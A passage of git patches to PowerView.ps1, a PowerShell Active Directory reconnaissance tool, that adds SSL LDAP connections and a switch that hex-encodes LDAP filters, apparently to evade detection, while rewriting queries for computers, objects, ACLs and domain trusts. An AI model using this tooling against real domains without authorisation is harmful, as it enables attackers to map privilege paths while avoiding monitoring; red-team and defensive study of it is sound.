= $SchemaPath.replace('Schema','Extended-Rights') - $SearcherArguments['LDAPFilter'] = '(objectClass=controlAccessRight)' + $LDAPFilter = '(objectClass=controlAccessRight)' $RightsSearcher = Get-DomainSearcher @SearcherArguments if ($RightsSearcher) { try { - $Results = $RightsSearcher.FindAll() + $Results = Invoke-LDAPQuery @SearcherArguments -LDAPFilter "$LDAPFilter" $Results | Where-Object {$_} | ForEach-Object { - $GUIDs[$_.properties.rightsguid[0].toString()] = $_.properties.name[0] + if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) { + $Prop = @{} + foreach ($a in $_.Attributes.Keys | Sort-Object) { + if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate')) { + $Prop[$a] = $_.Attributes[$a] + } + else { + $Values = @() + foreach ($v in $_.Attributes[$a].GetValues([byte[]])) { + $Values += [System.Text.Encoding]::UTF8.GetString($v) + } + $Prop[$a] = $Values + } + } + } + else { + $Prop = $_.Properties + } + + $GUIDs[$_.properties.rightsguid[0].toString()] = $Prop.name[0] } if ($Results) { try { $Results.dispose() } @@ -6368,6 +6422,14 @@ for connection to the target domain. Switch. Return raw results instead of translating the fields into a custom PSObject. +.PARAMETER SSL + +Switch. Use SSL for the connection to the LDAP server. + +.PARAMETER Obfuscate + +Switch. Obfuscate the resulting LDAP filter string using hex encoding. + .EXAMPLE Get-DomainComputer @@ -6517,7 +6579,13 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. $Credential = [Management.Automation.PSCredential]::Empty, [Switch] - $Raw + $Raw, + + [Switch] + $SSL, + + [Switch] + $Obfuscate ) DynamicParam { @@ -6540,6 +6608,8 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL } + if ($PSBoundParameters['Obfuscate']) {$SearcherArguments['Obfuscate'] = $Obfuscate } $CompSearcher = Get-DomainSearcher @SearcherArguments $DNSearcherArguments = @{} @@ -6680,15 +6750,36 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. } } - $CompSearcher.filter = "(&(samAccountType=805306369)$Filter)" - Write-Verbose "[Get-DomainComputer] Get-DomainComputer filter string: $($CompSearcher.filter)" + #$CompSearcher.filter = "(&(samAccountType=805306369)$Filter)" + #Write-Verbose "[Get-DomainComputer] Get-DomainComputer filter string: $($CompSearcher.filter)" + + #if ($PSBoundParameters['FindOne']) { $Results = $CompSearcher.FindOne() } + #else { $Results = $CompSearcher.FindAll() } - if ($PSBoundParameters['FindOne']) { $Results = $CompSearcher.FindOne() } - else { $Results = $CompSearcher.FindAll() } + $Results = Invoke-LDAPQuery @SearcherArguments -LDAPFilter "(&(samAccountType=805306369)$Filter)" $Results | Where-Object {$_} | ForEach-Object { + if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) { + $Prop = @{} + foreach ($a in $_.Attributes.Keys | Sort-Object) { + if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate')) { + $Prop[$a] = $_.Attributes[$a] + } + else { + $Values = @() + foreach ($v in $_.Attributes[$a].GetValues([byte[]])) { + $Values += [System.Text.Encoding]::UTF8.GetString($v) + } + $Prop[$a] = $Values + } + } + } + else { + $Prop = $_.Properties + } + $Up = $True if ($PSBoundParameters['Ping']) { - $Up = Test-Connection -Count 1 -Quiet -ComputerName $_.properties.dnshostname + $Up = Test-Connection -Count 1 -Quiet -ComputerName $Prop.dnshostname } if ($Up) { if ($PSBoundParameters['Raw']) { @@ -6697,7 +6788,7 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. $Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer.Raw') } else { - $Computer = Convert-LDAPProperty -Properties $_.Properties + $Computer = Convert-LDAPProperty -Properties $Prop $Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer') } $Computer @@ -6799,6 +6890,14 @@ for connection to the target domain. Switch. Return raw results instead of translating the fields into a custom PSObject. +.PARAMETER SSL + +Switch. Use SSL for the connection to the LDAP server. + +.PARAMETER Obfuscate + +Switch. Obfuscate the resulting LDAP filter string using hex encoding. + .EXAMPLE Get-DomainObject -Domain testlab.local @@ -6913,7 +7012,13 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. $Credential = [Management.Automation.PSCredential]::Empty, [Switch] - $Raw + $Raw, + + [Switch] + $SSL, + + [Switch] + $Obfuscate ) DynamicParam { @@ -6936,6 +7041,8 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL } + if ($PSBoundParameters['Obfuscate']) {$SearcherArguments['Obfuscate'] = $Obfuscate } $ObjectSearcher = Get-DomainSearcher @SearcherArguments } @@ -7012,12 +7119,13 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. } if ($Filter -and $Filter -ne '') { - $ObjectSearcher.filter = "(&$Filter)" + $Filter = "(&$Filter)" } - Write-Verbose "[Get-DomainObject] Get-DomainObject filter string: $($ObjectSearcher.filter)" + Write-Verbose "[Get-DomainObject] Get-DomainObject filter string: $($Filter)" - if ($PSBoundParameters['FindOne']) { $Results = $ObjectSearcher.FindOne() } - else { $Results = $ObjectSearcher.FindAll() } + #if ($PSBoundParameters['FindOne']) { $Results = $ObjectSearcher.FindOne() } + #else { $Results = $ObjectSearcher.FindAll() } + $Results = Invoke-LDAPQuery @SearcherArguments -LDAPFilter "$Filter" $Results | Where-Object {$_} | ForEach-Object { if ($PSBoundParameters['Raw']) { # return raw result objects @@ -7025,7 +7133,26 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject.Raw') } else { - $Object = Convert-LDAPProperty -Properties $_.Properties + if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) { + $Prop = @{} + foreach ($a in $_.Attributes.Keys | Sort-Object) { + if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate')) { + $Prop[$a] = $_.Attributes[$a] + } + else { + $Values = @() + foreach ($v in $_.Attributes[$a].GetValues([byte[]])) { + $Values += [System.Text.Encoding]::UTF8.GetString($v) + } + $Prop[$a] = $Values + } + } + } + else { + $Prop = $_.Properties + } + + $Object = Convert-LDAPProperty -Properties $Prop $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject') } $Object @@ -8382,6 +8509,14 @@ Switch. Specifies that the searcher should also return deleted/tombstoned object A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. +.PARAMETER SSL + +Switch. Use SSL for the connection to the LDAP server. + +.PARAMETER Obfuscate + +Switch. Obfuscate the resulting LDAP filter string using hex encoding. + .EXAMPLE Get-DomainObjectAcl -Identity matt.admin -domain testlab.local -ResolveGUIDs @@ -8470,7 +8605,13 @@ Custom PSObject with ACL entries. [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] - $Credential = [Management.Automation.PSCredential]::Empty + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $SSL, + + [Switch] + $Obfuscate ) BEGIN { @@ -8492,6 +8633,8 @@ Custom PSObject with ACL entries. if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL } + if ($PSBoundParameters['Obfuscate']) {$SearcherArguments['Obfuscate'] = $Obfuscate } $Searcher = Get-DomainSearcher @SearcherArguments $DomainGUIDMapArguments = @{} @@ -8500,6 +8643,7 @@ Custom PSObject with ACL entries. if ($PSBoundParameters['ResultPageSize']) { $DomainGUIDMapArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $DomainGUIDMapArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Credential']) { $DomainGUIDMapArguments['Credential'] = $Credential } + if ($PSBoundParameters['SSL']) { $DomainGUIDMapArguments['SSL'] = $SSL } # get a GUID -> name mapping if ($PSBoundParameters['ResolveGUIDs']) { @@ -8551,13 +8695,33 @@ Custom PSObject with ACL entries. } if ($Filter) { - $Searcher.filter = "(&$Filter)" + $Filter = "(&$Filter)" } - Write-Verbose "[Get-DomainObjectAcl] Get-DomainObjectAcl filter string: $($Searcher.filter)" + Write-Verbose "[Get-DomainObjectAcl] Get-DomainObjectAcl filter string: $($Filter)" - $Results = $Searcher.FindAll() + #$Results = $Searcher.FindAll() + $Results = Invoke-LDAPQuery @SearcherArguments -LDAPFilter "$Filter" $Results | Where-Object {$_} | ForEach-Object { - $Object = $_.Properties + if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) { + $Object = @{} + foreach ($a in $_.Attributes.Keys | Sort-Object) { + Write-Output "TEST: $a" + if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate') -or ($a -eq 'ntsecuritydescriptor')) { + $Object[$a] = $_.Attributes[$a] + } + else { + $Values = @() + foreach ($v in $_.Attributes[$a].GetValues([byte[]])) { + $Values += [System.Text.Encoding]::UTF8.GetString($v) + } + $Object[$a] = $Values + } + } + } + else { + $Object = $_.Properties + } + if ($Object.objectsid -and $Object.objectsid[0]) { $ObjectSid = (New-Object System.Security.Principal.SecurityIdentifier($Object.objectsid[0],0)).Value @@ -23492,7 +23656,7 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. $LDAPFilter = Get-ObfuscatedFilterString -LDAPFilter $LDAPFilter } if ($PSBoundParameters['SSL']) { - $MaxResultsToRequest = 100 + $MaxResultsToRequest = 1000 $Results = @() $Searcher = Get-DomainSearcher @SearcherArguments -SSL @@ -23643,7 +23807,6 @@ String } - ######################################################## # # Expose the Win32API functions and datastructures below From d8c6a7e38f3135b7773a5b083112285f6b3176b8 Mon Sep 17 00:00:00 2001 From: Charlie Clark Date: Tue, 27 Jul 2021 17:02:26 +0100 Subject: [PATCH 39/58] added ssl support to Get-DomainTrust --- Recon/PowerView.ps1 | 45 ++++++++++++++++++++++++++++++++++++++++----- 1 file changed, 40 insertions(+), 5 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 0c8d28cc..d48042f7 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -20050,6 +20050,14 @@ Only return one result object. A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. +.PARAMETER SSL + +Switch. Use SSL for the connection to the LDAP server. + +.PARAMETER Obfuscate + +Switch. Obfuscate the resulting LDAP filter string using hex encoding. + .EXAMPLE Get-DomainTrust @@ -20163,7 +20171,13 @@ Custom PSObject with translated domain API trust result fields. [Parameter(ParameterSetName = 'LDAP')] [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] - $Credential = [Management.Automation.PSCredential]::Empty + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $SSL, + + [Switch] + $Obfuscate ) BEGIN { @@ -20192,6 +20206,8 @@ Custom PSObject with translated domain API trust result fields. if ($PSBoundParameters['ServerTimeLimit']) { $LdapSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $LdapSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $LdapSearcherArguments['Credential'] = $Credential } + if ($PSBoundParameters['SSL']) { $LdapSearcherArguments['SSL'] = $SSL } + if ($PSBoundParameters['Obfuscate']) {$LdapSearcherArguments['Obfuscate'] = $Obfuscate } } PROCESS { @@ -20225,12 +20241,31 @@ Custom PSObject with translated domain API trust result fields. if ($TrustSearcher) { - $TrustSearcher.Filter = '(objectClass=trustedDomain)' + #$TrustSearcher.Filter = '(objectClass=trustedDomain)' - if ($PSBoundParameters['FindOne']) { $Results = $TrustSearcher.FindOne() } - else { $Results = $TrustSearcher.FindAll() } + #if ($PSBoundParameters['FindOne']) { $Results = $TrustSearcher.FindOne() } + #else { $Results = $TrustSearcher.FindAll() } + $Results = Invoke-LDAPQuery @LdapSearcherArguments -LDAPFilter "(objectClass=trustedDomain)" $Results | Where-Object {$_} | ForEach-Object { - $Props = $_.Properties + if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) { + $Props = @{} + foreach ($a in $_.Attributes.Keys | Sort-Object) { + if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate') -or ($a -eq 'securityidentifier')) { + $Props[$a] = $_.Attributes[$a] + } + else { + $Values = @() + foreach ($v in $_.Attributes[$a].GetValues([byte[]])) { + $Values += [System.Text.Encoding]::UTF8.GetString($v) + } + $Props[$a] = $Values + } + } + } + else { + $Props = $_.Properties + } + $DomainTrust = New-Object PSObject $TrustAttrib = @() From 37544cea6a929e0ecbe1389f014215768ee58483 Mon Sep 17 00:00:00 2001 From: Charlie Clark Date: Tue, 27 Jul 2021 17:26:42 +0100 Subject: [PATCH 40/58] fixed issue with FindOne in Get-DomainComputer, need to fix for others --- Recon/PowerView.ps1 | 333 +++++++++++++++++++++++--------------------- 1 file changed, 173 insertions(+), 160 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index d48042f7..02194800 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -6610,11 +6610,15 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL } if ($PSBoundParameters['Obfuscate']) {$SearcherArguments['Obfuscate'] = $Obfuscate } - $CompSearcher = Get-DomainSearcher @SearcherArguments + if ($PSBoundParameters['FindOne']) { $SearcherArguments['FindOne'] = $FindOne } + #$CompSearcher = Get-DomainSearcher @SearcherArguments $DNSearcherArguments = @{} if ($PSBoundParameters['Domain']) { $DNSearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Server']) { $DNSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SSL']) { $DNSearcherArguments['SSL'] = $SSL } + if ($PSBoundParameters['Obfuscate']) {$DNSearcherArguments['Obfuscate'] = $Obfuscate } + } PROCESS { @@ -6623,184 +6627,177 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters } - if ($CompSearcher) { - $IdentityFilter = '' - $Filter = '' - $Identity | Where-Object {$_} | ForEach-Object { - $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') - if ($IdentityInstance -match '^S-1-') { - $IdentityFilter += "(objectsid=$IdentityInstance)" - } - elseif ($IdentityInstance -match '^CN=') { - $IdentityFilter += "(distinguishedname=$IdentityInstance)" - if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { - # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname - # and rebuild the domain searcher - $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' - Write-Verbose "[Get-DomainComputer] Extracted domain '$IdentityDomain' from '$IdentityInstance'" - $SearcherArguments['Domain'] = $IdentityDomain - $CompSearcher = Get-DomainSearcher @SearcherArguments - if (-not $CompSearcher) { - Write-Warning "[Get-DomainComputer] Unable to retrieve domain searcher for '$IdentityDomain'" - } + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^S-1-') { + $IdentityFilter += "(objectsid=$IdentityInstance)" + } + elseif ($IdentityInstance -match '^CN=') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { + # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname + # and rebuild the domain searcher + $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + Write-Verbose "[Get-DomainComputer] Extracted domain '$IdentityDomain' from '$IdentityInstance'" + $SearcherArguments['Domain'] = $IdentityDomain + $CompSearcher = Get-DomainSearcher @SearcherArguments + if (-not $CompSearcher) { + Write-Warning "[Get-DomainComputer] Unable to retrieve domain searcher for '$IdentityDomain'" } } - elseif ($IdentityInstance.Contains('.')) { - $IdentityFilter += "(|(name=$IdentityInstance)(dnshostname=$IdentityInstance))" - } - elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { - $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' - $IdentityFilter += "(objectguid=$GuidByteString)" - } - else { - $IdentityFilter += "(name=$IdentityInstance)" - } } - if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { - $Filter += "(|$IdentityFilter)" - } - - if ($PSBoundParameters['Unconstrained']) { - Write-Verbose '[Get-DomainComputer] Searching for computers with for unconstrained delegation' - $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=524288)' - } - if ($PSBoundParameters['TrustedToAuth']) { - Write-Verbose '[Get-DomainComputer] Searching for computers that are trusted to authenticate for other principals' - $Filter += '(msds-allowedtodelegateto=*)' - } - if ($PSBoundParameters['RBCD']) { - Write-Verbose '[Get-DomainComputer] Searching for computers that are configured to allow resource-based constrained delegation' - $Filter += '(msds-allowedtoactonbehalfofotheridentity=*)' + elseif ($IdentityInstance.Contains('.')) { + $IdentityFilter += "(|(name=$IdentityInstance)(dnshostname=$IdentityInstance))" } - if ($PSBoundParameters['Printers']) { - Write-Verbose '[Get-DomainComputer] Searching for printers' - $Filter += '(objectCategory=printQueue)' + elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { + $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' + $IdentityFilter += "(objectguid=$GuidByteString)" } - if ($PSBoundParameters['ExcludeDCs']) { - Write-Verbose '[Get-DomainComputer] Excluding domain controllers' - $Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=8192))' + else { + $IdentityFilter += "(name=$IdentityInstance)" } - if ($PSBoundParameters['SPN']) { - Write-Verbose "[Get-DomainComputer] Searching for computers with SPN: $SPN" - $Filter += "(servicePrincipalName=$SPN)" - } - if ($PSBoundParameters['OperatingSystem']) { - Write-Verbose "[Get-DomainComputer] Searching for computers with operating system: $OperatingSystem" - $Filter += "(operatingsystem=$OperatingSystem)" - } - if ($PSBoundParameters['ServicePack']) { - Write-Verbose "[Get-DomainComputer] Searching for computers with service pack: $ServicePack" - $Filter += "(operatingsystemservicepack=$ServicePack)" - } - if ($PSBoundParameters['SiteName']) { - Write-Verbose "[Get-DomainComputer] Searching for computers with site name: $SiteName" - $Filter += "(serverreferencebl=$SiteName)" - } - if ($PSBoundParameters['LastLogon']) { - Write-Verbose "[Get-DomainComputer] Searching for computer accounts that have logged on within the last $PSBoundParameters['LastLogon'] days" - $LogonDate = (Get-Date).AddDays(-$PSBoundParameters['LastLogon']).ToFileTime() - $Filter += "(lastlogon>=$LogonDate)" - } - if (($PSBoundParameters['HasLAPS']) -or ($PSBoundParameters['NoLAPS']) -or ($PSBoundParameters['CanReadLAPS'])) { - $SchemaDN = "CN=Schema,CN=Configuration,$(Get-DomainDN @DNSearcherArguments)" - $AttrFilter = '' - Write-Verbose "[Get-DomainComputer] Using distinguished name: $SchemaDN" - if ($PSBoundParameters['HasLAPS']) { - # Searching for attribute name, which can differ as per pingcastle by @vletoux - # https://github.com/vletoux/pingcastle/blob/master/Scanners/LAPSBitLocker.cs - Get-DomainObject -SearchBase $SchemaDN -LDAPFilter "(name=ms-*-admpwd*)" -Properties 'name' @SearcherArguments | select -expand name | ForEach-Object { - Write-Verbose "[Get-DomainComputer] Searching for attribute: $_" - $AttrFilter += "($_=*)" - } - if ($AttrFilter) { $Filter += "(|$AttrFilter)" } - } - if ($PSBoundParameters['NoLAPS']) { - # Searching for attribute name, which can differ as per pingcastle by @vletoux - # https://github.com/vletoux/pingcastle/blob/master/Scanners/LAPSBitLocker.cs - Get-DomainObject -SearchBase $SchemaDN -LDAPFilter "(name=ms-*-admpwd*)" -Properties 'name' @SearcherArguments | select -expand name | ForEach-Object { - Write-Verbose "[Get-DomainComputer] Searching for attribute: $_" - $AttrFilter += "(!($_=*))" - } - if ($AttrFilter) { $Filter += "(&$AttrFilter)" } - } - if ($PSBoundParameters['CanReadLAPS']) { - # Searching for attribute name, which can differ as per pingcastle by @vletoux - # https://github.com/vletoux/pingcastle/blob/master/Scanners/LAPSBitLocker.cs - Get-DomainObject -SearchBase $SchemaDN -LDAPFilter "(name=ms-*-admpwd)" -Properties 'name' @SearcherArguments | select -expand name | ForEach-Object { - Write-Verbose "[Get-DomainComputer] Searching for attribute: $_" - $AttrFilter += "($_=*)" - } - if ($AttrFilter) { $Filter += "(|$AttrFilter)" } - } + } + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + if ($PSBoundParameters['Unconstrained']) { + Write-Verbose '[Get-DomainComputer] Searching for computers with for unconstrained delegation' + $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=524288)' + } + if ($PSBoundParameters['TrustedToAuth']) { + Write-Verbose '[Get-DomainComputer] Searching for computers that are trusted to authenticate for other principals' + $Filter += '(msds-allowedtodelegateto=*)' + } + if ($PSBoundParameters['RBCD']) { + Write-Verbose '[Get-DomainComputer] Searching for computers that are configured to allow resource-based constrained delegation' + $Filter += '(msds-allowedtoactonbehalfofotheridentity=*)' + } + if ($PSBoundParameters['Printers']) { + Write-Verbose '[Get-DomainComputer] Searching for printers' + $Filter += '(objectCategory=printQueue)' + } + if ($PSBoundParameters['ExcludeDCs']) { + Write-Verbose '[Get-DomainComputer] Excluding domain controllers' + $Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=8192))' + } + if ($PSBoundParameters['SPN']) { + Write-Verbose "[Get-DomainComputer] Searching for computers with SPN: $SPN" + $Filter += "(servicePrincipalName=$SPN)" + } + if ($PSBoundParameters['OperatingSystem']) { + Write-Verbose "[Get-DomainComputer] Searching for computers with operating system: $OperatingSystem" + $Filter += "(operatingsystem=$OperatingSystem)" + } + if ($PSBoundParameters['ServicePack']) { + Write-Verbose "[Get-DomainComputer] Searching for computers with service pack: $ServicePack" + $Filter += "(operatingsystemservicepack=$ServicePack)" + } + if ($PSBoundParameters['SiteName']) { + Write-Verbose "[Get-DomainComputer] Searching for computers with site name: $SiteName" + $Filter += "(serverreferencebl=$SiteName)" + } + if ($PSBoundParameters['LastLogon']) { + Write-Verbose "[Get-DomainComputer] Searching for computer accounts that have logged on within the last $PSBoundParameters['LastLogon'] days" + $LogonDate = (Get-Date).AddDays(-$PSBoundParameters['LastLogon']).ToFileTime() + $Filter += "(lastlogon>=$LogonDate)" + } + if (($PSBoundParameters['HasLAPS']) -or ($PSBoundParameters['NoLAPS']) -or ($PSBoundParameters['CanReadLAPS'])) { + $SchemaDN = "CN=Schema,CN=Configuration,$(Get-DomainDN @DNSearcherArguments)" + $AttrFilter = '' + Write-Verbose "[Get-DomainComputer] Using distinguished name: $SchemaDN" + if ($PSBoundParameters['HasLAPS']) { + # Searching for attribute name, which can differ as per pingcastle by @vletoux + # https://github.com/vletoux/pingcastle/blob/master/Scanners/LAPSBitLocker.cs + Get-DomainObject -SearchBase $SchemaDN -LDAPFilter "(name=ms-*-admpwd*)" -Properties 'name' @SearcherArguments | select -expand name | ForEach-Object { + Write-Verbose "[Get-DomainComputer] Searching for attribute: $_" + $AttrFilter += "($_=*)" + } + if ($AttrFilter) { $Filter += "(|$AttrFilter)" } + } + if ($PSBoundParameters['NoLAPS']) { + # Searching for attribute name, which can differ as per pingcastle by @vletoux + # https://github.com/vletoux/pingcastle/blob/master/Scanners/LAPSBitLocker.cs + Get-DomainObject -SearchBase $SchemaDN -LDAPFilter "(name=ms-*-admpwd*)" -Properties 'name' @SearcherArguments | select -expand name | ForEach-Object { + Write-Verbose "[Get-DomainComputer] Searching for attribute: $_" + $AttrFilter += "(!($_=*))" + } + if ($AttrFilter) { $Filter += "(&$AttrFilter)" } + } + if ($PSBoundParameters['CanReadLAPS']) { + # Searching for attribute name, which can differ as per pingcastle by @vletoux + # https://github.com/vletoux/pingcastle/blob/master/Scanners/LAPSBitLocker.cs + Get-DomainObject -SearchBase $SchemaDN -LDAPFilter "(name=ms-*-admpwd)" -Properties 'name' @SearcherArguments | select -expand name | ForEach-Object { + Write-Verbose "[Get-DomainComputer] Searching for attribute: $_" + $AttrFilter += "($_=*)" + } + if ($AttrFilter) { $Filter += "(|$AttrFilter)" } } - if ($PSBoundParameters['LDAPFilter']) { - Write-Verbose "[Get-DomainComputer] Using additional LDAP filter: $LDAPFilter" - $Filter += "$LDAPFilter" + } + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainComputer] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + # build the LDAP filter for the dynamic UAC filter value + $UACFilter | Where-Object {$_} | ForEach-Object { + if ($_ -match 'NOT_.*') { + $UACField = $_.Substring(4) + $UACValue = [Int]($UACEnum::$UACField) + $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))" } - # build the LDAP filter for the dynamic UAC filter value - $UACFilter | Where-Object {$_} | ForEach-Object { - if ($_ -match 'NOT_.*') { - $UACField = $_.Substring(4) - $UACValue = [Int]($UACEnum::$UACField) - $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))" - } - else { - $UACValue = [Int]($UACEnum::$_) - $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)" - } + else { + $UACValue = [Int]($UACEnum::$_) + $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)" } + } - #$CompSearcher.filter = "(&(samAccountType=805306369)$Filter)" - #Write-Verbose "[Get-DomainComputer] Get-DomainComputer filter string: $($CompSearcher.filter)" - #if ($PSBoundParameters['FindOne']) { $Results = $CompSearcher.FindOne() } - #else { $Results = $CompSearcher.FindAll() } - $Results = Invoke-LDAPQuery @SearcherArguments -LDAPFilter "(&(samAccountType=805306369)$Filter)" - $Results | Where-Object {$_} | ForEach-Object { - if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) { - $Prop = @{} - foreach ($a in $_.Attributes.Keys | Sort-Object) { - if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate')) { - $Prop[$a] = $_.Attributes[$a] - } - else { - $Values = @() - foreach ($v in $_.Attributes[$a].GetValues([byte[]])) { - $Values += [System.Text.Encoding]::UTF8.GetString($v) - } - $Prop[$a] = $Values + $Results = Invoke-LDAPQuery @SearcherArguments -LDAPFilter "(&(samAccountType=805306369)$Filter)" + $Results | Where-Object {$_} | ForEach-Object { + if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) { + $Prop = @{} + foreach ($a in $_.Attributes.Keys | Sort-Object) { + if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate')) { + $Prop[$a] = $_.Attributes[$a] + } + else { + $Values = @() + foreach ($v in $_.Attributes[$a].GetValues([byte[]])) { + $Values += [System.Text.Encoding]::UTF8.GetString($v) } + $Prop[$a] = $Values } } - else { - $Prop = $_.Properties - } + } + else { + $Prop = $_.Properties + } - $Up = $True - if ($PSBoundParameters['Ping']) { - $Up = Test-Connection -Count 1 -Quiet -ComputerName $Prop.dnshostname + $Up = $True + if ($PSBoundParameters['Ping']) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $Prop.dnshostname + } + if ($Up) { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $Computer = $_ + $Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer.Raw') } - if ($Up) { - if ($PSBoundParameters['Raw']) { - # return raw result objects - $Computer = $_ - $Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer.Raw') - } - else { - $Computer = Convert-LDAPProperty -Properties $Prop - $Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer') - } - $Computer + else { + $Computer = Convert-LDAPProperty -Properties $Prop + $Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer') } + $Computer } - if ($Results) { - try { $Results.dispose() } - catch { - Write-Verbose "[Get-DomainComputer] Error disposing of the Results object: $_" - } + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainComputer] Error disposing of the Results object: $_" } - $CompSearcher.dispose() } } } @@ -10534,6 +10531,14 @@ Specifies an Active Directory server (domain controller) to bind to. A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. +.PARAMETER SSL + +Switch. Use SSL for the connection to the LDAP server. + +.PARAMETER Obfuscate + +Switch. Obfuscate the resulting LDAP filter string using 